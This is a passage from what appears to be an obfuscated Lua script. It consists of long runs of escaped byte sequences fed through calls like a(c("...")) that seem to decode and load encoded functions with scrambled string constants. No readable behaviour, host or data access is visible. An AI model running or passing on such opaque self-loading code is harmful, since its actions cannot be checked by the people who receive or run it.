0\0\0\143\2\38\0\1\0\0\0\0\0\0\0\0\0\68\0\0\0\0\4\0\0\0\0\118\37\38\0\1\0\1\0\0\0\2\1\0\3\70\0\192\0\0\5\0\0\0\0\60\1\183\0\2\0\7\0\0\0\1\133\128\0\0\0\6\0\0\0\0\51\2\38\0\3\0\0\0\0\0\0\0\0\0\192\0\0\0\0\7\0\0\0\0\235\2\38\0\2\0\2\0\0\0\2\0\0\0\156\128\0\1\0\8\0\0\0\0\31\1\38\0\1\0\0\1\0\0\2\0\0\2\73\128\128\128\0\9\0\0\0\0\225\5\38\0\1\0\14\0\0\0\0\0\0\0\30\0\128\0\0\10\0\0\0\207\0\0\0\0\36"))a(c("\1\1\222\8\0\0\0\203\8\0\0\0\84\73\90\115\68\86\96\0\203\22\0\0\0\93\101\101\77\127\97\43\82\106\65\76\126\106\111\78\2\43\31\93\107\93\0\203\7\0\0\0\102\73\77\122\68\83\0\203\11\0\0\0\83\111\97\90\69\84\105\120\90\118\0\203\7\0\0\0\103\65\64\108\78\65\0\203\4\0\0\0\121\69\89\0\203\7\0\0\0\102\84\69\118\69\82\0\203\7\0\0\0\90\80\86\109\76\103\0\1\7\0\0\0\0\146\23\237\0\213\0\157\0\2\0\0\1\0\0\0\0\1\0\0\0\0\67\26\237\0\0\0\0\0\2\0\0\1\0\0\0\0\2\0\0\0\0\255\3\237\0\31\0\255\255\1\0\0\0\0\0\0\0\3\0\0\0\0\143\2\38\0\1\0\0\0\0\0\0\0\0\0\68\0\0\0\0\4\0\0\0\0\118\37\38\0\1\0\1\0\0\0\0\1\0\3\70\0\192\0\0\5\0\0\0\0\31\1\38\0\1\0\3\1\0\0\0\0\0\2\73\0\128\128\0\6\0\0\0\0\225\5\38\0\1\0\20\0\0\0\0\0\0\0\30\0\128\0\0\7\0\0\0\207\0\0\0\0\36"))a(c("\1\1\222\8\0\0\0\203\10\0\0\0\74\127\94\113\88\65\121\75\96\0\203\22\0\0\0\93\101\101\77\127\97\43\82\106\65\76\126\106\111\78\2\43\31\93\107\93\0\203\8\0\0\0\83\111\97\76\67\90\124\0\203\7\0\0\0\103\65\64\120\78\65\0\203\8\0\0\0\114\98\94\107\88\3\63\0\203\7\0\0\0\81\69\84\112\79\80\0\203\6\0\0\0\101\65\94\109\88\0\203\8\0\0\0\84\73\90\115\68\86\96\0\1\7\0\0\0\0\146\23\237\0\124\0\177\0\2\0\0\1\0\0\0\0\1\0\0\0\0\67\26\237\0\0\0\0\0\2\0\0\1\0\0\0\0\2\0\0\0\0\255\3\237\0\86\0\255\255\1\0\0\0\0\0\0\0\3\0\0\0\0\143\2\38\0\1\0\0\0\0\0\0\0\0\0\68\0\0\0\0\4\0\0\0\0\118\37\38\0\1\0\1\0\0\0\7\1\0\3\70\0\192\0\0\5\0\0\0\0\31\1\38\0\1\0\2\1\0\0\0\0\0\2\73\0\128\128\0\6\0\0\0\0\225\5\38\0\19\0\0\0\0\0\0\0\0\0\30\0\128\0\0\7\0\0\0\207\0\0\0\0\36"))a(c("\1\1\222\10\0\0\0\203\8\0\0\0\84\73\90\115\68\86\96\0\203\7\0\0\0\112\78\84\112\79\80\0\203\12\0\0\0\98\72\94\107\78\89\98\103\75\119\107\0\203\9\0\0\0\97\79\89\106\70\87\110\102\0\203\8\0\0\0\83\111\97\76\66\79\110\0\203\5\0\0\0\91\65\90\122\0\203\7\0\0\0\116\83\68\122\89\65\0\203\22\0\0\0\93\101\101\77\127\97\43\82\106\65\76\126\106\111\78\2\43\31\93\107\93\0\203\8\0\0\0\93\84\67\111\108\80\127\0\203\13\0\0\0\114\69\67\114\78\65\106\96\94\112\99\90\0\1\10\0\0\0\0\146\23\237\0\95\0\103\0\2\0\0\1\0\0\0\0\1\0\0\0\0\67\26\237\0\0\0\0\0\2\0\0\1\0\0\0\0\2\0\0\0\0\255\3\237\0\4\0\255\255\1\0\0\0\0\0\0\0\3\0\0\0\0\143\2\38\0\1\0\0\0\0\0\0\0\0\0\68\0\0\0\0\4\0\0\0\0\118\37\38\0\1\0\1\0\0\0\0\1\0\3\70\0\192\0\0\5\0\0\0\0\60\1\183\0\2\0\3\0\0\0\1\133\128\0\0\0\6\0\0\0\0\51\2\38\0\3\0\0\0\0\0\0\0\0\0\192\0\0\0\0\7\0\0\0\0\235\2\38\0\2\0\2\0\0\0\2\0\0\0\156\128\0\1\0\8\0\0\0\0\31\1\38\0\1\0\4\1\0\0\2\0\0\2\73\128\128\128\0\9\0\0\0\0\225\5\38\0\15\0\12\0\0\0\0\0\0\0\30\0\128\0\0\10\0\0\0\207\0\0\0\0\36"))a(c("\1\1\222\8\0\0\0\203\22\0\0\0\93\101\101\77\127\97\43\82\106\65\76\126\106\111\78\2\43\31\93\107\93\0\203\7\0\0\0\81\69\84\112\79\80\0\203\15\0\0\0\125\69\69\109\95\65\43\125\76\50\124\90\70\89\0\203\7\0\0\0\114\115\94\101\78\65\0\203\9\0\0\0\97\79\68\107\89\92\101\115\0\203\8\0\0\0\103\69\70\106\66\71\110\0\203\11\0\0\0\84\73\90\115\68\86\96\95\90\107\0\203\8\0\0\0\84\73\90\115\68\86\96\0\1\7\0\0\0\0\146\23\237\0\78\0\91\0\2\0\0\1\0\0\0\0\1\0\0\0\0\67\26\237\0\0\0\0\0\2\0\0\1\0\0\0\0\2\0\0\0\0\255\3\237\0\111\0\255\255\1\0\0\0\0\0\0\0\3\0\0\0\0\143\2\38\0\1\0\0\0\0\0\0\0\0\0\68\0\0\0\0\4\0\0\0\0\118\37\38\0\1\0\1\0\0\0\7\1\0\3\70\0\192\0\0\5\0\0\0\0\31\1\38\0\1\0\6\1\0\0\0\0\0\2\73\0\128\128\0\6\0\0\0\0\225\5\38\0\24\0\24\0\0\0\0\0\0\0\30\0\128\0\0\7\0\0\0\207\0\0\0\0\36"))a(c("\1\1\222\8\0\0\0\203\5\0\0\0\121\79\86\123\0\203\10\0\0\0\70\73\91\122\69\65\74\125\82\0\203\5\0\0\0\84\82\80\108\0\203\5\0\0\0\114\105\89\107\0\203\8\0\0\0\80\78\86\125\71\80\111\0\203\22\0\0\0\93\101\101\77\127\97\43\82\106\65\76\126\106\111\78\2\43\31\93\107\93\0\203\10\0\0\0\118\79\69\112\94\65\98\122\90\0\203\7\0\0\0\102\69\91\122\72\65\0\1\7\0\0\0\0\146\23\237\0\169\0\193\0\2\0\0\1\0\0\0\0\1\0\0\0\0\67\26\237\0\0\0\0\0\2\0\0\1\0\0\0\0\2\0\0\0\0\255\3\237\0\59\0\255\255\1\0\0\0\0\0\0\0\3\0\0\0\0\143\2\38\0\1\0\0\0\0\0\0\0\0\0\68\0\0\0\0\4\0\0\0\0\118\37\38\0\1\0\1\0\0\0\1\1\0\3\70\0\192\0\0\5\0\0\0\0\31\1\38\0\1\0\4\1\0\0\0\0\0\2\73\0\128\128\0\6\0\0\0\0\225\5\38\0\5\0\8\0\0\0\0\0\0\0\30\0\128\0\0\7\0\0\0\207\0\0\0\0\36"))a(c("\1\1\222\8\0\0\0\203\10\0\0\0\74\127\94\113\88\65\121\75\96\0\203\10\0\0\0\70\73\91\122\69\65\74\125\82\0\203\7\0\0\0\103\65\64\120\78\65\0\203\5\0\0\0\114\83\66\125\0\203\22\0\0\0\93\101\101\77\127\97\43\82\106\65\76\126\106\111\78\2\43\31\93\107\93\0\203\8\0\0\0\113\69\84\109\82\69\127\0\203\12\0\0\0\94\69\78\75\68\121\100\119\84\93\97\0\203\5\0\0\0\118\72\86\109\0\1\7\0\0\0\0\146\23\237\0\140\0\216\0\2\0\0\1\0\0\0\0\1\0\0\0\0\67\26\237\0\0\0\0\0\2\0\0\1\0\0\0\0\2\0\0\0\0\255\3\237\0\191\0\255\255\1\0\0\0\0\0\0\0\3\0\0\0\0\143\2\38\0\1\0\0\0\0\0\0\0\0\0\68\0\0\0\0\4\0\0\0\0\118\37\38\0\1\0\1\0\0\0\1\1\0\3\70\0\192\0\0\5\0\0\0\0\31\1\38\0\1\0\6\1\0\0\0\0\0\2\73\0\128\128\0\6\0\0\0\0\225\5\38\0\1\0\15\0\0\0\0\0\0\0\30\0\128\0\0\7\0\0\0\207\0\0\0\0\36"))a(c("\1\1\222\10\0\0\0\203\7\0\0\0\116\83\68\122\89\65\0\203\6\0\0\0\67\65\69\120\88\0\203\9\0\0\0\97\79\68\107\89\92\101\115\0\203\17\0\0\0\69\82\82\123\66\86\127\125\80\124\78\82\81\85\114\86\0\203\22\0\0\0\93\101\101\77\127\97\43\82\106\65\76\126\106\111\78\2\43\31\93\107\93\0\203\9\0\0\0\97\79\89\106\70\87\110\102\0\203\10\0\0\0\70\73\91\122\69\65\74\125\82\0\203\7\0\0\0\90\80\86\109\76\103\0\203\13\0\0\0\114\69\67\114\78\65\106\96\94\112\99\90\0\203\13\0\0\0\102\69\67\114\78\65\106\96\94\112\99\90\0\1\10\0\0\0\0\146\23\237\0\24\0\21\0\2\0\0\1\0\0\0\0\1\0\0\0\0\67\26\237\0\0\0\0\0\2\0\0\1\0\0\0\0\2\0\0\0\0\255\3\237\0\28\0\255\255\1\0\0\0\0\0\0\0\3\0\0\0\0\143\2\38\0\1\0\0\0\0\0\0\0\0\0\68\0\0\0\0\4\0\0\0\0\118\37\38\0\1\0\1\0\0\0\6\1\0\3\70\0\192\0\0\5\0\0\0\0\60\1\183\0\2\0\5\0\0\0\1\133\128\0\0\0\6\0\0\0\0\33\8\38\0\0\0\3\0\0\0\0\0\0\0\192\0\0\0\0\7\0\0\0\0\235\2\38\0\2\0\2\0\0\0\2\0\0\0\156\128\0\1\0\8\0\0\0\0\31\1\38\0\1\0\3\1\0\0\2\0\0\2\73\128\128\128\0\9\0\0\0\0\225\5\38\0\24\0\20\0\0\0\0\0\0\0\30\0\128\0\0\10\0\0\0\207\0\0\0\0\36"))a(c("\1\1\222\10\0\0\0\203\22\0\0\0\93\101\101\77\127\97\43\82\106\65\76\126\106\111\78\2\43\31\93\107\93\0\203\9\0\0\0\74\127\94\113\66\65\84\75\0\203\4\0\0\0\121\69\89\0\203\6\0\0\0\84\73\90\94\95\0\203\6\0\0\0\70\84\86\124\64\0\203\9\0\0\0\97\79\68\107\89\92\101\115\0\203\15\0\0\0\125\69\69\109\95\65\43\125\76\50\124\90\70\89\0\203\10\0\0\0\70\73\91\122\69\65\74\125\82\0\203\7\0\0\0\81\69\84\112\79\80\0\203\8\0\0\0\112\78\84\109\82\69\127\0\1\10\0\0\0\0\146\23\237\0\166\0\64\0\2\0\0\1\0\0\0\0\1\0\0\0\0\67\26\237\0\0\0\0\0\2\0\0\1\0\0\0\0\2\0\0\0\0\255\3\237\0\131\0\255\255\1\0\0\0\0\0\0\0\3\0\0\0\0\143\2\38\0\1\0\0\0\0\0\0\0\0\0\68\0\0\0\0\4\0\0\0\0\118\37\38\0\1\0\1\0\0\0\7\1\0\3\70\0\192\0\0\5\0\0\0\0\60\1\183\0\2\0\5\0\0\0\1\133\128\0\0\0\6\0\0\0\0\51\2\38\0\3\0\0\0\0\0\0\0\0\0\192\0\0\0\0\7\0\0\0\0\235\2\38\0\2\0\2\0\0\0\2\0\0\0\156\128\0\1\0\8\0\0\0\0\31\1\38\0\1\0\3\1\0\0\2\0\0\2\73\128\128\128\0\9\0\0\0\0\225\5\38\0\21\0\17\0\0\0\0\0\0\0\30\0\128\0\0\10\0\0\0\207\0\0\0\0\36"))a(c("\1\1\222\8\0\0\0\203\11\0\0\0\83\111\97\90\69\84\105\120\90\118\0\203\5\0\0\0\97\89\71\122\0\203\22\0\0\0\93\101\101\77\127\97\43\82\106\65\76\126\106\111\78\2\43\31\93\107\93\0\203\8\0\0\0\114\98\94\107\88\6\57\0\203\10\0\0\0\118\79\89\108\95\84\101\96\76\0\203\10\0\0\0\70\73\91\122\69\65\74\125\82\0\203\7\0\0\0\102\69\91\122\72\65\0\203\7\0\0\0\114\77\86\107\72\93\0\1\7\0\0\0\0\146\23\237\0\223\0\153\0\2\0\0\1\0\0\0\0\1\0\0\0\0\67\26\237\0\0\0\0\0\2\0\0\1\0\0\0\0\2\0\0\0\0\255\3\237\0\237\0\255\255\1\0\0\0\0\0\0\0\3\0\0\0\0\143\2\38\0\1\0\0\0\0\0\0\0\0\0\68\0\0\0\0\4\0\0\0\0\118\37\38\0\1\0\1\0\0\0\5\1\0\3\70\0\192\0\0\5\0\0\0\0\31\1\38\0\1\0\0\1\0\0\0\0\0\2\73\0\128\128\0\6\0\0\0\0\225\5\38\0\13\0\2\0\0\0\0\0\0\0\30\0\128\0\0\7\0\0\0\207\0\0\0\0\36"))a(c("\1\1\222\8\0\0\0\203\5\0\0\0\121\79\86\123\0\203\13\0\0\0\98\65\91\115\82\21\98\103\31\117\110\70\0\203\8\0\0\0\83\111\97\76\67\90\124\0\203\10\0\0\0\70\73\91\122\69\65\74\125\82\0\203\22\0\0\0\93\101\101\77\127\97\43\82\106\65\76\126\106\111\78\2\43\31\93\107\93\0\203\6\0\0\0\101\67\86\115\71\0\203\8\0\0\0\114\98\94\107\88\6\57\0\203\6\0\0\0\53\66\78\107\78\0\1\7\0\0\0\0\146\23\237\0\243\0\242\0\2\0\0\1\0\0\0\0\1\0\0\0\0\67\26\237\0\0\0\0\0\2\0\0\1\0\0\0\0\2\0\0\0\0\255\3\237\0\246\0\255\255\1\0\0\0\0\0\0\0\3\0\0\0\0\143\2\38\0\1\0\0\0\0\0\0\0\0\0\68\0\0\0\0\4\0\0\0\0\118\37\38\0\1\0\1\0\0\0\3\1\0\3\70\0\192\0\0\5\0\0\0\0\31\1\38\0\1\0\2\1\0\0\0\0\0\2\73\0\128\128\0\6\0\0\0\0\225\5\38\0\18\0\12\0\0\0\0\0\0\0\30\0\128\0\0\7\0\0\0\207\0\0\0\0\36"))a(c("\1\1\222\10\0\0\0\203\6\0\0\0\70\84\86\124\64\0\203\8\0\0\0\83\111\97\76\66\79\110\0\203\5\0\0\0\114\65\90\122\0\203\9\0\0\0\97\79\89\106\70\87\110\102\0\203\7\0\0\0\90\80\86\109\76\103\0\203\8\0\0\0\113\69\84\109\82\69\127\0\203\7\0\0\0\116\83\68\122\89\65\0\203\8\0\0\0\113\69\84\109\82\69\127\0\203\22\0\0\0\93\101\101\77\127\97\43\82\106\65\76\126\106\111\78\2\43\31\93\107\93\0\203\10\0\0\0\70\73\91\122\69\65\74\125\82\0\1\10\0\0\0\0\146\23\237\0\140\0\112\0\2\0\0\1\0\0\0\0\1\0\0\0\0\67\26\237\0\0\0\0\0\2\0\0\1\0\0\0\0\2\0\0\0\0\255\3\237\0\215\0\255\255\1\0\0\0\0\0\0\0\3\0\0\0\0\143\2\38\0\1\0\0\0\0\0\0\0\0\0\68\0\0\0\0\4\0\0\0\0\118\37\38\0\1\0\1\0\0\0\9\1\0\3\70\0\192\0\0\5\0\0\0\0\60\1\183\0\2\0\3\0\0\0\1\133\128\0\0\0\6\0\0\0\0\51\2\38\0\3\0\0\0\0\0\0\0\0\0\192\0\0\0\0\7\0\0\0\0\235\2\38\0\2\0\2\0\0\0\2\0\0\0\156\128\0\1\0\8\0\0\0\0\31\1\38\0\1\0\1\1\0\0\2\0\0\2\73\128\128\128\0\9\0\0\0\0\225\5\38\0\21\0\13\0\0\0\0\0\0\0\30\0\128\0\0\10\0\0\0\207\0\0\0\0\36"))a(c("\1\1\222\8\0\0\0\203\4\0\0\0\94\69\78\0\203\22\0\0\0\93\101\101\77\127\97\43\82\106\65\76\126\106\111\78\2\43\31\93\107\93\0\203\10\0\0\0\70\73\91\122\69\65\74\125\82\0\203\6\0\0\0\86\72\66\113\64\0\203\9\0\0\0\97\79\68\107\89\92\101\115\0\203\10\0\0\0\74\127\84\112\69\70\127\75\96\0\203\7\0\0\0\116\83\68\122\89\65\0\203\5\0\0\0\97\89\71\122\0\1\7\0\0\0\0\146\23\237\0\188\0\90\0\2\0\0\1\0\0\0\0\1\0\0\0\0\67\26\237\0\0\0\0\0\2\0\0\1\0\0\0\0\2\0\0\0\0\255\3\237\0\48\0\255\255\1\0\0\0\0\0\0\0\3\0\0\0\0\143\2\38\0\1\0\0\0\0\0\0\0\0\0\68\0\0\0\0\4\0\0\0\0\118\37\38\0\1\0\1\0\0\0\2\1\0\3\70\0\192\0\0\5\0\0\0\0\31\1\38\0\1\0\0\1\0\0\0\0\0\2\73\0\128\128\0\6\0\0\0\0\225\5\38\0\9\0\12\0\0\0\0\0\0\0\30\0\128\0\0\7\0\0\0\207\0\0\0\0\36"))a(c("\0\0\222\12\0\0\0\203\22\0\0\0\93\101\101\77\127\97\43\82\106\65\76\126\106\111\78\2\43\31\93\107\93\0\203\11\0\0\0\121\79\86\123\88\65\121\125\81\117\0\203\5\0\0\0\114\65\90\122\0\203\10\0\0\0\118\79\89\108\95\84\101\96\76\0\203\16\0\0\0\114\69\67\109\74\66\102\113\75\115\123\94\92\76\121\0\203\6\0\0\0\101\67\86\115\71\0\203\7\0\0\0\114\98\94\107\88\13\0\203\8\0\0\0\93\84\67\111\108\80\127\0\203\34\0\0\0\125\84\67\111\88\15\36\59\79\115\124\75\91\66\117\76\59\92\115\74\62\95\82\99\17\113\84\123\88\78\126\90\76\0\203\7\0\0\0\96\78\71\126\72\94\0\203\7\0\0\0\81\69\84\112\79\80\0\203\6\0\0\0\53\66\78\107\78\0\1\11\0\0\0\0\146\23\237\0\152\0\119\0\2\0\0\1\0\0\0\0\1\0\0\0\0\67\26\237\0\0\0\0\0\2\0\0\1\0\0\0\0\2\0\0\0\0\255\3\237\0\8\0\255\255\1\0\0\0\0\0\0\0\3\0\0\0\0\60\1\183\0\0\0\1\0\0\0\1\5\0\0\0\0\4\0\0\0\1\4\183\0\1\0\2\0\0\0\1\69\64\0\0\0\0\168\1\38\0\1\0\1\0\0\0\7\1\0\3\75\128\192\0\0\5\0\0\0\0\88\0\183\0\3\0\8\0\0\0\1\193\192\0\0\0\6\0\0\0\0\235\2\38\0\1\0\3\0\0\0\0\0\0\0\92\0\128\1\0\7\0\0\0\1\7\38\0\0\0\0\0\0\0\2\0\0\0\28\128\0\0\0\0\56\35\38\0\0\0\4\0\0\0\4\0\0\0\28\64\128\0\0\8\0\0\0\0\225\5\38\0\0\0\8\0\0\0\0\0\0\0\30\0\128\0\0\9\0\0\0\207\0\0\0\0\36"))a(c("\1\1\222\8\0\0\0\203\6\0\0\0\112\82\69\112\89\0\203\8\0\0\0\86\102\100\111\78\80\111\0\203\10\0\0\0\118\79\89\108\95\84\101\96\76\0\203\6\0\0\0\101\67\86\115\71\0\203\22\0\0\0\93\101\101\77\127\97\43\82\106\65\76\126\106\111\78\2\43\31\93\107\93\0\203\8\0\0\0\65\79\80\120\71\80\111\0\203\7\0\0\0\102\73\77\122\68\83\0\203\7\0\0\0\90\80\86\109\76\103\0\1\7\0\0\0\0\146\23\237\0\23\0\143\0\2\0\0\1\0\0\0\0\1\0\0\0\0\67\26\237\0\0\0\0\0\2\0\0\1\0\0\0\0\2\0\0\0\0\255\3\237\0\76\0\255\255\1\0\0\0\0\0\0\0\3\0\0\0\0\143\2\38\0\1\0\0\0\0\0\0\0\0\0\68\0\0\0\0\4\0\0\0\0\118\37\38\0\1\0\1\0\0\0\1\1\0\3\70\0\192\0\0\5\0\0\0\0\31\1\38\0\1\0\5\1\0\0\0\0\0\2\73\0\128\128\0\6\0\0\0\0\225\5\38\0\21\0\7\0\0\0\0\0\0\0\30\0\128\0\0\7\0\0\0\207\0\0\0\0\36"))a(c("\1\1\222\10\0\0\0\203\6\0\0\0\70\80\82\122\79\0\203\7\0\0\0\103\65\64\120\78\65\0\203\8\0\0\0\112\78\84\109\82\69\127\0\203\8\0\0\0\113\69\84\109\82\69\127\0\203\8\0\0\0\86\102\100\111\78\80\111\0\203\5\0\0\0\114\105\89\107\0\203\4\0\0\0\121\69\89\0\203\9\0\0\0\97\79\89\106\70\87\110\102\0\203\6\0\0\0\101\67\86\115\71\0\203\22\0\0\0\93\101\101\77\127\97\43\82\106\65\76\126\106\111\78\2\43\31\93\107\93\0\1\10\0\0\0\0\146\23\237\0\34\0\165\0\2\0\0\1\0\0\0\0\1\0\0\0\0\67\26\237\0\0\0\0\0\2\0\0\1\0\0\0\0\2\0\0\0\0\255\3\237\0\96\0\255\255\1\0\0\0\0\0\0\0\3\0\0\0\0\143\2\38\0\1\0\0\0\0\0\0\0\0\0\68\0\0\0\0\4\0\0\0\0\118\37\38\0\1\0\1\0\0\0\4\1\0\3\70\0\192\0\0\5\0\0\0\0\60\1\183\0\2\0\7\0\0\0\1\133\128\0\0\0\6\0\0\0\0\33\8\38\0\0\0\3\0\0\0\0\0\0\0\192\0\0\0\0\7\0\0\0\0\235\2\38\0\2\0\2\0\0\0\2\0\0\0\156\128\0\1\0\8\0\0\0\0\31\1\38\0\1\0\0\1\0\0\2\0\0\2\73\128\128\128\0\9\0\0\0\0\225\5\38\0\14\0\22\0\0\0\0\0\0\0\30\0\128\0\0\10\0\0\0\207\0\0\0\0\36"))a(c("\1\1\222\8\0\0\0\203\22\0\0\0\93\101\101\77\127\97\43\82\106\65\76\126\106\111\78\2\43\31\93\107\93\0\203\6\0\0\0\101\67\86\115\71\0\203\16\0\0\0\114\69\67\109\74\66\102\113\75\115\123\94\92\76\121\0\203\8\0\0\0\86\102\100\111\78\80\111\0\203\4\0\0\0\94\69\78\0\203\7\0\0\0\103\65\64\108\78\65\0\203\7\0\0\0\112\78\84\112\79\80\0\203\7\0\0\0\96\78\71\126\72\94\0\1\7\0\0\0\0\146\23\237\0\213\0\118\0\2\0\0\1\0\0\0\0\1\0\0\0\0\67\26\237\0\0\0\0\0\2\0\0\1\0\0\0\0\2\0\0\0\0\255\3\237\0\55\0\255\255\1\0\0\0\0\0\0\0\3\0\0\0\0\143\2\38\0\1\0\0\0\0\0\0\0\0\0\68\0\0\0\0\4\0\0\0\0\118\37\38\0\1\0\1\0\0\0\3\1\0\3\70\0\192\0\0\5\0\0\0\0\31\1\38\0\1\0\4\1\0\0\0\0\0\2\73\0\128\128\0\6\0\0\0\0\225\5\38\0\12\0\23\0\0\0\0\0\0\0\30\0\128\0\0\7\0\0\0\207\0\0\0\0\36"))a(c("\0\0\222\12\0\0\0\203\20\0\0\0\70\89\89\126\91\70\110\52\103\87\97\31\105\105\114\108\124\81\123\0\203\10\0\0\0\118\79\69\112\94\65\98\122\90\0\203\5\0\0\0\114\65\90\122\0\203\8\0\0\0\93\84\67\111\108\80\127\0\203\11\0\0\0\121\79\86\123\88\65\121\125\81\117\0\203\22\0\0\0\93\101\101\77\127\97\43\82\106\65\76\126\106\111\78\2\43\31\93\107\93\0\203\11\0\0\0\121\79\86\123\88\65\121\125\81\117\0\203\5\0\0\0\114\83\66\125\0\203\5\0\0\0\114\65\90\122\0\203\10\0\0\0\74\127\94\113\88\65\121\75\96\0\203\10\0\0\0\118\79\89\108\95\84\101\96\76\0\203\34\0\0\0\125\84\67\111\88\15\36\59\79\115\124\75\91\66\117\76\59\92\115\74\62\95\82\99\17\106\20\40\101\88\125\94\77\0\1\11\0\0\0\0\146\23\237\0\129\0\25\0\2\0\0\1\0\0\0\0\1\0\0\0\0\67\26\237\0\0\0\0\0\2\0\0\1\0\0\0\0\2\0\0\0\0\255\3\237\0\158\0\255\255\1\0\0\0\0\0\0\0\3\0\0\0\0\60\1\183\0\0\0\4\0\0\0\1\5\0\0\0\0\4\0\0\0\1\4\183\0\1\0\2\0\0\0\1\69\64\0\0\0\0\168\1\38\0\1\0\1\0\0\0\3\1\0\3\75\128\192\0\0\5\0\0\0\0\88\0\183\0\3\0\11\0\0\0\1\193\192\0\0\0\6\0\0\0\0\235\2\38\0\1\0\3\0\0\0\0\0\0\0\92\0\128\1\0\7\0\0\0\1\7\38\0\0\0\0\0\0\0\2\0\0\0\28\128\0\0\0\0\56\35\38\0\0\0\18\0\0\0\3\0\0\0\28\64\128\0\0\8\0\0\0\0\225\5\38\0\23\0\10\0\0\0\0\0\0\0\30\0\128\0\0\9\0\0\0\207\0\0\0\0\36"))a(c("\0\0\222\10\0\0\0\203\7\0\0\0\102\84\69\118\69\82\0\203\8\0\0\0\114\69\67\120\78\91\125\0\117\0\0\0\0\0\0\0\0\203\5\0\0\0\114\105\89\107\0\203\6\0\0\0\86\72\66\113\64\0\203\7\0\0\0\96\78\71\126\72\94\0\203\8\0\0\0\96\82\68\111\78\80\111\0\203\4\0\0\0\102\89\89\0\203\5\0\0\0\121\79\86\123\0\203\22\0\0\0\93\101\101\77\127\97\43\82\106\65\76\126\106\111\78\2\43\31\93\107\93\0\1\7\0\0\0\0\146\23\237\0\239\0\29\0\2\0\0\1\0\0\0\0\1\0\0\0\0\67\26\237\0\0\0\0\0\2\0\0\1\0\0\0\0\2\0\0\0\0\255\3\237\0\178\0\255\255\1\0\0\0\0\0\0\0\3\0\0\0\0\60\1\183\0\0\0\1\0\0\0\1\5\0\0\0\0\4\0\0\0\0\175\23\38\0\0\0\10\0\0\0\2\0\0\0\28\128\128\0\0\5\0\0\0\0\31\1\38\0\0\0\6\1\0\0\2\1\0\4\9\128\192\128\0\6\0\0\0\0\225\5\38\0\22\0\5\0\0\0\0\0\0\0\30\0\128\0\0\7\0\0\0\207\0\0\0\0\36"))a(c("\0\0\222\4\0\0\0\203\13\0\0\0\114\69\67\114\78\65\106\96\94\112\99\90\0\203\22\0\0\0\93\101\101\77\127\97\43\82\106\65\76\126\106\111\78\2\43\31\93\107\93\0\203\6\0\0\0\97\65\85\115\78\0\203\7\0\0\0\96\78\71\126\72\94\0\1\4\0\0\0\0\146\23\237\0\234\0\172\0\2\0\0\1\0\0\0\0\1\0\0\0\0\67\26\237\0\0\0\0\0\2\0\0\1\0\0\0\0\2\0\0\0\0\255\3\237\0\73\0\255\255\1\0\0\0\0\0\0\0\3\0\0\0\0\225\5\38\0\23\0\9\0\0\0\0\0\0\0\30\0\128\0\0\4\0\0\0\207\0\0\0\0\36"))a(c("\0\0\222\4\0\0\0\203\6\0\0\0\101\65\94\109\88\0\203\22\0\0\0\93\101\101\77\127\97\43\82\106\65\76\126\106\111\78\2\43\31\93\107\93\0\203\7\0\0\0\103\65\64\108\78\65\0\203\7\0\0\0\97\89\71\122\68\83\0\1\4\0\0\0\0\146\23\237\0\13\0\170\0\2\0\0\1\0\0\0\0\1\0\0\0\0\67\26\237\0\0\0\0\0\2\0\0\1\0\0\0\0\2\0\0\0\0\255\3\237\0\232\0\255\255\1\0\0\0\0\0\0\0\3\0\0\0\0\225\5\38\0\14\0\21\0\0\0\0\0\0\0\30\0\128\0\0\4\0\0\0\207\0\0\0\0\36"))a(c("\0\0\222\20\0\0\0\203\6\0\0\0\67\65\69\120\88\0\203\7\0\0\0\102\84\69\118\69\82\0\203\5\0\0\0\84\82\80\108\0\203\10\0\0\0\86\72\86\109\74\86\127\113\77\0\203\8\0\0\0\65\69\79\107\94\71\110\0\203\7\0\0\0\90\80\86\109\76\103\0\203\22\0\0\0\93\101\101\77\127\97\43\82\106\65\76\126\106\111\78\2\43\31\93\107\93\0\203\5\0\0\0\93\69\86\123\0\203\5\0\0\0\115\65\84\122\0\203\6\0\0\0\112\82\69\112\89\0\203\7\0\0\0\102\69\91\122\72\65\0\203\24\0\0\0\103\66\79\126\88\70\110\96\86\118\53\16\17\23\45\23\37\8\37\20\40\27\4\0\203\8\0\0\0\69\76\86\102\78\71\120\0\203\5\0\0\0\114\65\90\122\0\203\12\0\0\0\98\72\94\107\78\89\98\103\75\119\107\0\203\5\0\0\0\97\89\71\122\0\203\8\0\0\0\113\69\84\109\82\69\127\0\203\7\0\0\0\116\83\68\122\89\65\0\203\9\0\0\0\97\79\89\106\70\87\110\102\0\203\12\0\0\0\89\79\84\126\71\101\103\117\70\119\125\0\1\11\0\0\0\0\146\23\237\0\1\0\52\0\2\0\0\1\0\0\0\0\1\0\0\0\0\67\26\237\0\0\0\0\0\2\0\0\1\0\0\0\0\2\0\0\0\0\255\3\237\0\88\0\255\255\1\0\0\0\0\0\0\0\3\0\0\0\0\60\1\183\0\0\0\13\0\0\0\1\5\0\0\0\0\4\0\0\0\0\118\37\38\0\0\0\0\0\0\0\12\1\0\3\6\64\64\0\0\5\0\0\0\1\5\38\0\0\0\0\0\0\0\19\1\0\3\6\128\64\0\0\1\5\38\0\0\0\0\0\0\0\3\1\0\3\6\192\64\0\0\1\5\38\0\0\0\0\0\0\0\7\1\0\3\6\0\65\0\0\1\5\38\0\0\0\0\0\0\0\8\1\0\3\6\64\65\0\0\0\31\1\38\0\0\0\4\1\0\0\11\1\0\4\9\192\65\131\0\6\0\0\0\0\225\5\38\0\8\0\16\0\0\0\0\0\0\0\30\0\128\0\0\7\0\0\0\207\0\0\0\0\36"))a(c("\0\0\222\20\0\0\0\203\8\0\0\0\69\76\86\102\78\71\120\0\203\24\0\0\0\103\66\79\126\88\70\110\96\86\118\53\16\17\22\37\26\39\10\44\17\32\27\7\0\203\5\0\0\0\114\105\89\107\0\203\5\0\0\0\93\69\86\123\0\203\4\0\0\0\102\89\89\0\203\11\0\0\0\121\79\86\123\88\65\121\125\81\117\0\203\10\0\0\0\86\72\86\109\74\86\127\113\77\0\203\7\0\0\0\81\69\84\112\79\80\0\203\7\0\0\0\103\65\64\120\78\65\0\203\6\0\0\0\53\66\78\107\78\0\203\5\0\0\0\114\83\66\125\0\203\7\0\0\0\103\65\64\108\78\65\0\203\12\0\0\0\89\79\84\126\71\101\103\117\70\119\125\0\203\22\0\0\0\93\101\101\77\127\97\43\82\106\65\76\126\106\111\78\2\43\31\93\107\93\0\203\8\0\0\0\65\69\79\107\94\71\110\0\203\10\0\0\0\118\79\89\108\95\84\101\96\76\0\203\5\0\0\0\115\65\84\122\0\203\6\0\0\0\112\82\69\112\89\0\203\5\0\0\0\114\65\90\122\0\203\10\0\0\0\98\